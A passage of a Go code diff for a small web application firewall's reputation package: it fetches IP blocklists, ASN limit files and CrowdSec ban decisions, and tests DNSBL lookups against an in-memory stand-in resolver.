+	conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	served := make(chan struct{})
+
+	go func() {
+		resolver.serveUDP(conn)
+		close(served)
+	}()
+
+	t.Cleanup(func() {
+		_ = conn.Close()
+
+		<-served
+	})
+
+	p := dnsblParams(zone)
+	p.Resolver = netip.MustParseAddrPort(conn.LocalAddr().String())
+	// On the real clock: the stand-in answers at once, so only a test
+	// process held up for a whole minute would see the query fail.
+	p.Timeout = time.Minute
+
+	isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
+	if err != nil || !isListed {
+		t.Errorf("listed %t (%v), want true", isListed, err)
+	}
+
+	wantAsked(t, resolver, listedName)
+}
+
+// resolverStandIn is a stand-in for the resolver the zones are asked
+// through. It answers each query by the name asked about, as answers
+// gives, with no such name for a name answers does not give, and not at
+// all while hanging. It notes each name asked about.
+type resolverStandIn struct {
+	mu      sync.Mutex
+	answers map[string]answer
+	hanging bool
+	names   []string
+}
+
+// answer is how the stand-in answers a name: with an A record of each of
+// addrs, or with the response code rcode, unless it is 0, for no error.
+type answer struct {
+	addrs []string
+	rcode uint16
+}
+
+// What the stand-in reads of a query, and writes in its reply.
+const (
+	// headerLength is the length of a DNS message's header, which the
+	// question follows: its id, its flags, and how many questions,
+	// answers and other records it holds, two bytes each.
+	headerLength = 12
+	// typeAndClass is the length of the type and the class that end a
+	// question, after its name.
+	typeAndClass = 4
+	// replyFlags mark a reply to a query that asked for recursion, which
+	// is available, with no error. The response code goes in their last
+	// four bits.
+	replyFlags = 0x8180
+	// maxMessage is the longest query read over UDP.
+	maxMessage = 1232
+)
+
+// set has the stand-in answer name with given.
+func (s *resolverStandIn) set(name string, given answer) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	s.answers[name] = given
+}
+
+// dial connects Go's resolver to the stand-in through an in-memory
+// connection, on which it sends each query, and reads each reply, after
+// its length, as over TCP.
+func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
+	client, server := net.Pipe()
+
+	go s.serve(server)
+
+	return client, nil
+}
+
+// serve answers the queries that come on conn until the resolver closes
+// it.
+func (s *resolverStandIn) serve(conn net.Conn) {
+	defer func() {
+		_ = conn.Close()
+	}()
+
+	for {
+		var length [2]byte
+
+		_, err := io.ReadFull(conn, length[:])
+		if err != nil {
+			return
+		}
+
+		message := make([]byte, binary.BigEndian.Uint16(length[:]))
+
+		_, err = io.ReadFull(conn, message)
+		if err != nil {
+			return
+		}
+
+		reply, answered := s.reply(message)
+		if !answered {
+			continue // the resolver gives up, and closes conn
+		}
+
+		//nolint:gosec // a reply of a few dozen bytes
+		_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
+			reply...))
+		if err != nil {
+			return
+		}
+	}
+}
+
+// serveUDP answers the queries that come on conn, each in a datagram, as
+// a resolver does, until conn is closed.
+func (s *resolverStandIn) serveUDP(conn net.PacketConn) {
+	message := make([]byte, maxMessage)
+
+	for {
+		n, from, err := conn.ReadFrom(message)
+		if err != nil {
+			return
+		}
+
+		reply, answered := s.reply(message[:n])
+		if answered {
+			_, _ = conn.WriteTo(reply, from)
+		}
+	}
+}
+
+// reply returns the stand-in's reply to message, a query, and false for
+// none, while it hangs. It notes the name asked about.
+func (s *resolverStandIn) reply(message []byte) ([]byte, bool) {
+	// The name is labels, each after its length, ended by a length of 0.
+	var labels []string
+
+	end := headerLength
+	for message[end] != 0 {
+		length := int(message[end])
+		labels = append(labels, string(message[end+1:end+1+length]))
+		end += 1 + length
+	}
+
+	end += 1 + typeAndClass
+	name := strings.Join(labels, ".") + "."
+
+	s.mu.Lock()
+	s.names = append(s.names, name)
+	given, found := s.answers[name]
+	hanging := s.hanging
+	s.mu.Unlock()
+
+	if hanging {
+		return nil, false
+	}
+
+	if !found {
+		given = answer{rcode: noSuchName}
+	}
+
+	// The query's id, the flags, one question, the answers, and no other
+	// records, then the question, as asked.
+	reply := slices.Clone(message[:2])
+	reply = binary.BigEndian.AppendUint16(reply, replyFlags|given.rcode)
+	reply = binary.BigEndian.AppendUint16(reply, 1)
+	//nolint:gosec // a handful of answers
+	reply = binary.BigEndian.AppendUint16(reply, uint16(len(given.addrs)))
+	reply = append(reply, 0, 0, 0, 0)
+	reply = append(reply, message[headerLength:end]...)
+
+	// An A record starts with the name asked about, by a pointer to it in
+	// the question, then its type, A, its class, IN, how long it may be
+	// kept, 60 seconds, and the length of its address, 4 bytes.
+	record := []byte{0xc0, headerLength, 0, 1, 0, 1, 0, 0, 0, 60, 0, 4}
+
+	for _, addr := range given.addrs {
+		reply = append(reply, record...)
+		reply = append(reply, netip.MustParseAddr(addr).AsSlice()...)
+	}
+
+	return reply, true
+}
+
+// dnsblParams returns the DNSBLParams of zones, with the tests' cache TTL
+// and timeout, by the bubble's clock, with alerts to a queue that sends
+// none.
+func dnsblParams(zones ...string) reputation.DNSBLParams {
+	return reputation.DNSBLParams{
+		Zones:      zones,
+		CacheTTL:   cacheTTL,
+		Timeout:    timeout,
+		Now:        time.Now,
+		ProcessLog: slog.New(slog.DiscardHandler),
+		Alerts:     newQueue(),
+	}
+}
+
+// waitForTheResolver waits, on the bubble's clock, an hour, until Go's
+// resolver has given up on every stand-in that does not answer: it waits
+// for a server as long as /etc/resolv.conf has it wait, a few seconds,
+// even after the query was given up, and a bubble cannot end before it.
+func waitForTheResolver() {
+	time.Sleep(time.Hour)
+}
+
+// newDNSBL returns the DNSBL of p, asking resolver.
+func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
+	dnsbl := reputation.NewDNSBL(p)
+	dnsbl.SetDial(resolver.dial)
+
+	return dnsbl
+}
+
+// wantZones checks the zones whose verdict dnsbl says lists client, as a
+// request from client finds them.
+func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
+	t.Helper()
+
+	got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
+	if !slices.Equal(got, want) {
+		t.Errorf("%s is listed by %v, want %v", client, got, want)
+	}
+}
+
+// wantQueries checks how many queries dnsbl made to zone, and how many of
+// them failed.
+func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
+	t.Helper()
+
+	if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
+		t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
+			dnsbl.Failures(zone), queries, failures)
+	}
+}
+
+// wantAsked checks the names the stand-in was asked about, in any order.
+func wantAsked(t *testing.T, resolver *resolverStandIn, want ...string) {
+	t.Helper()
+
+	resolver.mu.Lock()
+	got := slices.Sorted(slices.Values(resolver.names))
+	resolver.mu.Unlock()
+
+	slices.Sort(want)
+
+	if !slices.Equal(got, want) {
+		t.Errorf("asked about %v, want %v", got, want)
+	}
+}

internal/reputation/export_test.go

@@ -0,0 +1,34 @@
+package reputation
+
+import (
+	"context"
+	"net"
+	"net/http"
+	"net/netip"
+)
+
+// SetTransport has l's fetches go through transport instead of the
+// network.
+func (l *Lists) SetTransport(transport http.RoundTripper) {
+	l.httpClient.Transport = transport
+	l.crowdSecClient.Transport = transport
+}
+
+// SetTransport has a's checks go through transport instead of the
+// network.
+func (a *AbuseIPDB) SetTransport(transport http.RoundTripper) {
+	a.httpClient.Transport = transport
+}
+
+// SetDial has d's queries go through dial instead of the network.
+func (d *DNSBL) SetDial(
+	dial func(ctx context.Context, network, address string) (net.Conn, error),
+) {
+	d.resolver = &net.Resolver{PreferGo: true, Dial: dial}
+}
+
+// LookUp asks zone about addr at once, as a query in the background does,
+// and returns whether zone lists addr.
+func (d *DNSBL) LookUp(zone string, addr netip.Addr) (bool, error) {
+	return d.lookUp(context.Background(), query{zone: zone, client: addr})
+}

internal/reputation/reputation.go

@@ -0,0 +1,652 @@
+// Package reputation fetches the lists the settings name by URL: the
+// blocklists of SWWAF_BLOCKLIST_URLS, the file of AS:percent lines
+// SWWAF_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec
+// engine SWWAF_CROWDSEC_LAPI_URL names. It keeps the last good copy of
+// each, whole, comment lines included, which is used while a fetch fails,
+// and when each was last tried. It also asks the DNSBL zones of
+// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
+// clients with AbuseIPDB, and keeps their scores and the checks spent
+// today. The state package writes all of these to reputation.json and
+// reads them from it, so that a restart keeps them too.
+package reputation
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strings"
+	"sync"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+const (
+	// maxListBytes is the most of a list that is read. A longer one is a
+	// failure, so that a wrong URL cannot fill the memory.
+	maxListBytes = 16 << 20
+	// fetchTimeout bounds one fetch of a list.
+	fetchTimeout = time.Minute
+	// crowdSecRefresh is how long after the CrowdSec decision list was last
+	// fetched or tried it is fetched again: the engine is the operator's
+	// own, and makes and ends decisions all the time.
+	crowdSecRefresh = time.Minute
+	// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
+	// IPv4-mapped address.
+	mappedBits = 96
+)
+
+var (
+	errStatus        = errors.New("the server answered")
+	errTooLong       = errors.New("the list is longer than 16 MiB")
+	errNotNetblock   = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
+	errNotASNPercent = errors.New(
+		"is not an AS number, : and a percentage, such as AS64496:50")
+	errNotDecision = errors.New(
+		"does not give an address or a netblock and a duration, such as 4h0m0s")
+)
+
+// List is a list as reputation.json holds it: the URL it is fetched from,
+// when it was last tried, the fetch failed or not, and its last good copy:
+// when that was fetched, and its lines, as fetched, comment lines
+// included, both left out while no fetch of it has succeeded.
+type List struct {
+	URL     string    `json:"url"`
+	Tried   time.Time `json:"tried"`
+	Fetched time.Time `json:"fetched,omitzero"`
+	Lines   []string  `json:"lines,omitzero"`
+}
+
+// Params are what New needs.
+type Params struct {
+	// BlocklistURLs are the blocklists (SWWAF_BLOCKLIST_URLS), and
+	// ASNLimitPercentURL the file of AS:percent lines
+	// (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
+	BlocklistURLs      []string
+	ASNLimitPercentURL string
+	// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
+	// SWWAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
+	// (SWWAF_CROWDSEC_LAPI_KEY).
+	CrowdSecDecisionsURL string
+	CrowdSecKey          string
+	// Refresh is how long after a list was last fetched or tried it is
+	// fetched again (SWWAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
+	// list, which is fetched again crowdSecRefresh after.
+	Refresh time.Duration
+	// Now tells the time, normally time.Now in UTC.
+	Now func() time.Time
+	// ProcessLog receives each fetch of a list, and why one failed.
+	ProcessLog *slog.Logger
+	// Alerts receive a source_failure alert for each fetch that fails.
+	Alerts *alerts.Queue
+}
+
+// Lists are the lists Params names, each with its last good copy. They
+// are safe for concurrent use.
+type Lists struct {
+	params     Params
+	httpClient *http.Client
+	// crowdSecClient fetches the CrowdSec decision list. It follows no
+	// redirect, so that the key goes to the engine alone: a redirect is a
+	// failure.
+	crowdSecClient *http.Client
+
+	mu sync.Mutex
+	// lists are by URL, one for each URL Params names.
+	lists map[string]*list
+}
+
+// list is one list: what reputation.json keeps of it, its last try, zero
+// before the first, and its last good copy, what that copy says, and how
+// many fetches of it failed.
+type list struct {
+	kept     List
+	entries  entries
+	failures int
+}
+
+// entries are what the lines of a copy say: for a blocklist, the netblocks
+// it names, with the lengths among them, for the file of AS:percent lines,
+// the percentage it gives each AS number, and for the CrowdSec decision
+// list, the decision on each netblock that ends last, with the lengths
+// among them.
+type entries struct {
+	netblocks map[netip.Prefix]bool
+	lengths   []int
+	percents  map[string]int64
+	decisions map[netip.Prefix]Decision
+}
+
+// Decision is a decision of the CrowdSec engine to ban a netblock: when
+// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
+type Decision struct {
+	Expires  time.Time
+	Scenario string
+}
+
+// New returns the lists, without a copy of any yet.
+func New(params Params) *Lists {
+	l := &Lists{
+		params:     params,
+		httpClient: &http.Client{},
+		crowdSecClient: &http.Client{
+			CheckRedirect: func(*http.Request, []*http.Request) error {
+				return http.ErrUseLastResponse
+			},
+		},
+		lists: map[string]*list{},
+	}
+
+	for _, listURL := range l.URLs() {
+		l.lists[listURL] = &list{kept: List{URL: listURL}}
+	}
+
+	return l
+}
+
+// URLs returns the URL of every list: the blocklists' in the order
+// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL, then
+// the CrowdSec decision list's.
+func (l *Lists) URLs() []string {
+	urls := slices.Clone(l.params.BlocklistURLs)
+	if l.params.ASNLimitPercentURL != "" {
+		urls = append(urls, l.params.ASNLimitPercentURL)
+	}
+
+	if l.params.CrowdSecDecisionsURL != "" {
+		urls = append(urls, l.params.CrowdSecDecisionsURL)
+	}
+
+	return urls
+}
+
+// ListedBy returns the URLs of the blocklists whose copy lists addr, in
+// the order SWWAF_BLOCKLIST_URLS names them.
+func (l *Lists) ListedBy(addr netip.Addr) []string {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	var listedBy []string
+
+	for _, listURL := range l.params.BlocklistURLs {
+		if l.lists[listURL].entries.contain(addr) {
+			listedBy = append(listedBy, listURL)
+		}
+	}
+
+	return listedBy
+}
+
+// ASNLimitPercent returns the percentage the copy of the file of
+// AS:percent lines gives asn, and whether it lists asn.
+func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
+	if l.params.ASNLimitPercentURL == "" {
+		return 0, false
+	}
+
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	percent, listed := l.lists[l.params.ASNLimitPercentURL].entries.percents[asn]
+
+	return percent, listed
+}
+
+// CrowdSecDecision returns the decision of the copy of the CrowdSec
+// decision list on a netblock that holds addr and that ends last, and
+// whether it is still in force at now. A decision that has ended no
+// longer bans, even before the next fetch drops it.
+func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
+	if l.params.CrowdSecDecisionsURL == "" {
+		return Decision{}, false
+	}
+
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	kept := l.lists[l.params.CrowdSecDecisionsURL].entries
+
+	var last Decision
+
+	for _, length := range kept.lengths {
+		netblock, err := addr.Prefix(length)
+		if err != nil {
+			continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
+		}
+
+		decision := kept.decisions[netblock]
+		if decision.Expires.After(last.Expires) {
+			last = decision
+		}
+	}
+
+	return last, now.Before(last.Expires)
+}
+
+// Fetched returns when the copy in use of the list at listURL was
+// fetched, or zero while there is none.
+func (l *Lists) Fetched(listURL string) time.Time {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	return l.lists[listURL].kept.Fetched
+}
+
+// Failures returns how many fetches of the list at listURL failed.
+func (l *Lists) Failures(listURL string) int {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	return l.lists[listURL].failures
+}
+
+// Run fetches each list once it is due, as due tells, until ctx is done. A
+// list never tried is fetched at once, and so is one that is due by its
+// last try or copy read from reputation.json.
+func (l *Lists) Run(ctx context.Context) {
+	if len(l.lists) == 0 {
+		return
+	}
+
+	for ctx.Err() == nil {
+		next := l.fetchDue(ctx)
+		timer := time.NewTimer(next.Sub(l.params.Now()))
+
+		select {
+		case <-ctx.Done():
+		case <-timer.C:
+		}
+
+		timer.Stop()
+	}
+}
+
+// Snapshot returns each list that has been tried, with its copy, if it
+// has one, sorted by URL, as reputation.json lists them.
+func (l *Lists) Snapshot() []List {
+	l.mu.Lock()
+
+	tried := make([]List, 0, len(l.lists))
+
+	for _, held := range l.lists {
+		if !held.kept.Tried.IsZero() {
+			tried = append(tried, held.kept)
+		}
+	}
+
+	l.mu.Unlock()
+
+	slices.SortFunc(tried, func(a, b List) int {
+		return strings.Compare(a.URL, b.URL)
+	})
+
+	return tried
+}
+
+// Load puts lists, read from reputation.json, in place of the last tries
+// and copies held. A list Params does not name is dropped. A copy with a
+// line that parse refuses is an error, and then nothing changes.
+func (l *Lists) Load(lists []List) error {
+	found := make(map[string]entries, len(lists))
+
+	for _, kept := range lists {
+		_, named := l.lists[kept.URL]
+		if !named || kept.Fetched.IsZero() {
+			continue // dropped, or a list tried but never fetched, without a copy
+		}
+
+		read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
+		if err != nil {
+			return fmt.Errorf("the copy of %s: %w", kept.URL, err)
+		}
+
+		found[kept.URL] = read
+	}
+
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	for listURL, held := range l.lists {
+		held.kept, held.entries = List{URL: listURL}, entries{}
+	}
+
+	for _, kept := range lists {
+		if _, named := l.lists[kept.URL]; named {
+			l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, found[kept.URL]
+		}
+	}
+
+	return nil
+}
+
+// fetchDue fetches each list that is due, one after another, and returns
+// when the next is due. Once ctx has ended, it starts none, since a fetch
+// cut off is noted as a try.
+func (l *Lists) fetchDue(ctx context.Context) time.Time {
+	var next time.Time
+
+	for _, listURL := range l.URLs() {
+		due := l.due(listURL)
+		if ctx.Err() == nil && !l.params.Now().Before(due) {
+			l.fetch(ctx, listURL)
+			due = l.due(listURL)
+		}
+
+		if next.IsZero() || due.Before(next) {
+			next = due
+		}
+	}
+
+	return next
+}
+
+// due returns when the list at listURL is to be fetched: Refresh after it
+// was last fetched or tried, the later of the two, or crowdSecRefresh
+// after for the CrowdSec decision list.
+func (l *Lists) due(listURL string) time.Time {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	held := l.lists[listURL]
+
+	last := held.kept.Fetched
+	if held.kept.Tried.After(last) {
+		last = held.kept.Tried
+	}
+
+	if listURL == l.params.CrowdSecDecisionsURL {
+		return last.Add(crowdSecRefresh)
+	}
+
+	return last.Add(l.params.Refresh)
+}
+
+// fetch fetches the list at listURL, and notes the try. A good copy takes
+// the place of the one held. A failure leaves that in use, and is counted,
+// logged and raised as a source_failure alert. A fetch cut off as ctx
+// ends, as smallwebwaf stops, is no failure, but is still noted as a try,
+// so that a restart waits for it: the server may have had its request.
+func (l *Lists) fetch(ctx context.Context, listURL string) {
+	lines, err := l.get(ctx, listURL)
+	now := l.params.Now()
+
+	var found entries
+	if err == nil {
+		found, err = l.parse(listURL, lines, now)
+	}
+
+	cutOff := err != nil && ctx.Err() != nil
+
+	l.mu.Lock()
+
+	held := l.lists[listURL]
+	held.kept.Tried = now
+
+	if err == nil {
+		held.kept.Fetched, held.kept.Lines = now, lines
+		held.entries = found
+	} else if !cutOff {
+		held.failures++
+	}
+
+	l.mu.Unlock()
+
+	if cutOff {
+		return
+	}
+
+	if err != nil {
+		const failed = "fetching a list failed"
+
+		// Raised before it is logged, so that the alert is there once the
+		// log line is.
+		raiseFailure(l.params.Alerts, failed, listURL, err)
+		l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
+
+		return
+	}
+
+	l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
+}
+
+// raiseFailure raises a source_failure alert into queue, with reason, and
+// in its detail the source that failed, a list's URL, a zone with its key
+// masked or abuseipdb, and err.
+func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
+	queue.Raise(alerts.Alert{
+		Event:  alerts.EventSourceFailure,
+		Reason: reason,
+		Detail: map[string]any{"source": source, "error": err.Error()},
+	})
+}
+
+// get fetches the list at listURL, and returns its lines. The CrowdSec
+// decision list is fetched with CrowdSecKey in the header X-Api-Key, where
+// the engine looks for it, by crowdSecClient, which follows no redirect.
+// An answer other than 200, or a list longer than maxListBytes, is a
+// failure.
+func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
+	ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
+	defer cancel()
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
+	if err != nil {
+		return nil, fmt.Errorf("make the request: %w", err)
+	}
+
+	client := l.httpClient
+
+	if listURL == l.params.CrowdSecDecisionsURL {
+		req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
+		client = l.crowdSecClient
+	}
+
+	res, err := client.Do(req)
+	if err != nil {
+		// Do's error names the URL, which the log line and the alert name
+		// already: only what went wrong is kept.
+		return nil, fmt.Errorf("fetch the list: %w", errors.Unwrap(err))
+	}
+
+	defer func() {
+		_ = res.Body.Close()
+	}()
+
+	if res.StatusCode != http.StatusOK {
+		return nil, fmt.Errorf("%w %s", errStatus, res.Status)
+	}
+
+	body, err := io.ReadAll(io.LimitReader(res.Body, maxListBytes+1))
+	if err != nil {
+		return nil, fmt.Errorf("read the list: %w", err)
+	}
+
+	if len(body) > maxListBytes {
+		return nil, errTooLong
+	}
+
+	lines := []string{}
+	for line := range strings.Lines(string(body)) {
+		lines = append(lines, strings.TrimSuffix(line, "\n"))
+	}
+
+	return lines, nil
+}
+
+// parse reads the lines of the list at listURL, fetched at fetched: those
+// of a blocklist, of the file of AS:percent lines, or of the CrowdSec
+// decision list. In the first two, anything after a ; or a # on a line is
+// left out, and so is a line left blank. Any other line that does not read
+// is an error naming it by its number.
+func (l *Lists) parse(
+	listURL string, lines []string, fetched time.Time,
+) (entries, error) {
+	switch listURL {
+	case l.params.ASNLimitPercentURL:
+		return parsePercents(lines)
+	case l.params.CrowdSecDecisionsURL:
+		return parseDecisions(lines, fetched)
+	default:
+		return parseNetblocks(lines)
+	}
+}
+
+// parseNetblocks reads a blocklist's lines, each an address or a netblock
+// as the settings take them.
+func parseNetblocks(lines []string) (entries, error) {
+	found := entries{netblocks: map[netip.Prefix]bool{}}
+
+	for i, line := range lines {
+		text := withoutComment(line)
+		if text == "" {
+			continue
+		}
+
+		netblock, ok := parseNetblock(text)
+		if !ok {
+			return entries{}, fmt.Errorf("line %d %w", i+1, errNotNetblock)
+		}
+
+		found.netblocks[netblock] = true
+
+		if !slices.Contains(found.lengths, netblock.Bits()) {
+			found.lengths = append(found.lengths, netblock.Bits())
+		}
+	}
+
+	return found, nil
+}
+
+// parseNetblock reads text, a line of a blocklist, and reports whether it
+// is an address or a netblock as the settings take them. A client's IPv4
+// address is checked as IPv4, never IPv4-mapped, so an IPv4-mapped line,
+// such as ::ffff:192.0.2.0/120, is read as the IPv4 address or netblock it
+// stands for, 192.0.2.0/24, and a mapped netblock shorter than /96, which
+// stands for none, is refused.
+func parseNetblock(text string) (netip.Prefix, bool) {
+	netblock, err := config.ParseNetblock(text)
+	if err != nil {
+		return netip.Prefix{}, false
+	}
+
+	// The address as written: ParseNetblock's has the bits past the
+	// netblock's length cleared, the ::ffff among them below /96.
+	written, _, _ := strings.Cut(text, "/")
+	if addr, _ := netip.ParseAddr(written); !addr.Is4In6() {
+		return netblock, true
+	}
+
+	if netblock.Bits() < mappedBits {
+		return netip.Prefix{}, false
+	}
+
+	return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
+}
+
+// parsePercents reads the lines of the file of AS:percent lines, each an
+// AS number, : and a percentage, as SWWAF_ASN_LIMIT_PERCENT takes them. An
+// AS number listed more than once gets the lowest of its percentages.
+func parsePercents(lines []string) (entries, error) {
+	found := entries{percents: map[string]int64{}}
+
+	for i, line := range lines {
+		text := withoutComment(line)
+		if text == "" {
+			continue
+		}
+
+		asnText, percentText, _ := strings.Cut(text, ":")
+		asn, asnErr := config.ParseASN(asnText)
+
+		percent, percentErr := config.ParsePercent(percentText)
+		if asnErr != nil || percentErr != nil {
+			return entries{}, fmt.Errorf("line %d %w", i+1, errNotASNPercent)
+		}
+
+		earlier, listed := found.percents[asn]
+		if !listed || percent < earlier {
+			found.percents[asn] = percent
+		}
+	}
+
+	return found, nil
+}
+
+// parseDecisions reads the lines of the CrowdSec decision list fetched at
+// fetched: the engine's answer, a JSON list of its decisions in force,
+// null while it has none. A decision of the type ban whose scope is Ip or
+// Range, as CrowdSec names them, bans its value, an address or a netblock
+// as parseNetblock reads it, until its duration, the time it had left as
+// the engine answered, has passed since fetched. Any other decision, such
+// as one to show a captcha or one on a country, is left out. A decision
+// to ban whose value or duration does not read is an error naming it by
+// its number.
+func parseDecisions(lines []string, fetched time.Time) (entries, error) {
+	var answer []struct {
+		Duration string `json:"duration"`
+		Scenario string `json:"scenario"`
+		Scope    string `json:"scope"`
+		Type     string `json:"type"`
+		Value    string `json:"value"`
+	}
+
+	err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
+	if err != nil {
+		return entries{}, fmt.Errorf("read the answer: %w", err)
+	}
+
+	found := entries{decisions: map[netip.Prefix]Decision{}}
+
+	for i, decision := range answer {
+		if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
+			continue
+		}
+
+		netblock, ok := parseNetblock(decision.Value)
+
+		duration, err := time.ParseDuration(decision.Duration)
+		if !ok || err != nil {
+			return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
+		}
+
+		expires := fetched.Add(duration)
+		if expires.After(found.decisions[netblock].Expires) {
+			found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
+		}
+
+		if !slices.Contains(found.lengths, netblock.Bits()) {
+			found.lengths = append(found.lengths, netblock.Bits())
+		}
+	}
+
+	return found, nil
+}
+
+// withoutComment returns line without anything after a ; or a #, and
+// without the spaces around what is left.
+func withoutComment(line string) string {
+	text, _, _ := strings.Cut(line, ";")
+	text, _, _ = strings.Cut(text, "#")
+
+	return strings.TrimSpace(text)
+}
+
+// contain reports whether the netblocks of a blocklist's copy hold addr:
+// whether addr, cut to one of their lengths, is one of them.
+func (e entries) contain(addr netip.Addr) bool {
+	for _, length := range e.lengths {
+		netblock, err := addr.Prefix(length)
+		if err == nil && e.netblocks[netblock] {
+			return true
+		}
+	}
+
+	return false
+}

internal/reputation/reputation_test.go

@@ -0,0 +1,618 @@
+package reputation_test
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"net/url"
+	"reflect"
+	"slices"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// The tests run in a synctest bubble, where the time package runs on a
+// clock of the test's own: time.Sleep moves it on at once, and
+// synctest.Wait returns once Run waits for the next list to be due, so
+// that every fetch due by then has been made. The stand-in for the
+// servers the lists are fetched from answers without the network, since a
+// fetch waiting on the network would keep that clock from moving on.
+
+const (
+	// dropURL and torURL are the blocklists, and asnURL the file of
+	// AS:percent lines.
+	dropURL = "https://lists.example/drop.txt"
+	torURL  = "https://lists.example/tor.txt"
+	asnURL  = "https://lists.example/asn.txt"
+	// refresh is the tests' SWWAF_BLOCKLIST_REFRESH, and cooldown their
+	// SWWAF_ALERT_COOLDOWN, longer than it.
+	refresh  = 24 * time.Hour
+	cooldown = 48 * time.Hour
+	// drop is a blocklist as the Spamhaus DROP list is written, with an
+	// address and a netblock in each of its comments, which list nothing.
+	drop = "; Spamhaus DROP List 2026/10/07 - (c) 2026 The Spamhaus Project SLL\n" +
+		"; Last-Modified: Wed, 07 Oct 2026 00:00:00 GMT ; 192.0.2.1\n" +
+		"# 198.51.100.0/24\n" +
+		"\n" +
+		"203.0.113.0/24 ; SBL1\n" +
+		"  192.0.2.9  # one address\n" +
+		"2001:db8:1::/48 ; SBL2\n"
+)
+
+func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		servers := &standIn{lists: map[string]string{dropURL: drop}}
+		lists := start(t, servers, params(dropURL))
+
+		for addr, want := range map[string][]string{
+			"203.0.113.0":   {dropURL},
+			"203.0.113.255": {dropURL},
+			"192.0.2.9":     {dropURL},
+			"2001:db8:1::7": {dropURL},
+			"203.0.114.0":   nil,
+			"192.0.2.8":     nil,
+			"192.0.2.1":     nil,
+			"198.51.100.7":  nil,
+			"2001:db8:2::7": nil,
+		} {
+			wantListedBy(t, lists, addr, want...)
+		}
+	})
+}
+
+func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
+	t.Parallel()
+
+	now := time.Now()
+	lists := reputation.New(params(dropURL))
+
+	err := lists.Load([]reputation.List{{
+		URL: dropURL, Tried: now, Fetched: now,
+		Lines: []string{"::ffff:192.0.2.9", "::ffff:203.0.113.0/120"},
+	}})
+	if err != nil {
+		t.Fatalf("load: %v", err)
+	}
+
+	for addr, want := range map[string][]string{
+		"192.0.2.9":     {dropURL},
+		"203.0.113.255": {dropURL},
+		"192.0.2.8":     nil,
+		"203.0.114.0":   nil,
+	} {
+		wantListedBy(t, lists, addr, want...)
+	}
+
+	// A mapped netblock shorter than /96 stands for no IPv4 one.
+	err = lists.Load([]reputation.List{{
+		URL: dropURL, Tried: now, Fetched: now, Lines: []string{"::ffff:198.51.100.0/88"},
+	}})
+
+	const want = "the copy of " + dropURL +
+		": line 1 is not an address or a netblock, such as 192.0.2.0/24"
+	if err == nil || err.Error() != want {
+		t.Errorf("error %v, want %s", err, want)
+	}
+}
+
+func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		servers := &standIn{lists: map[string]string{
+			dropURL: "203.0.113.0/24\n", torURL: "203.0.113.9\n",
+		}}
+		lists := start(t, servers, params(torURL, dropURL))
+
+		// In the order SWWAF_BLOCKLIST_URLS names them.
+		wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
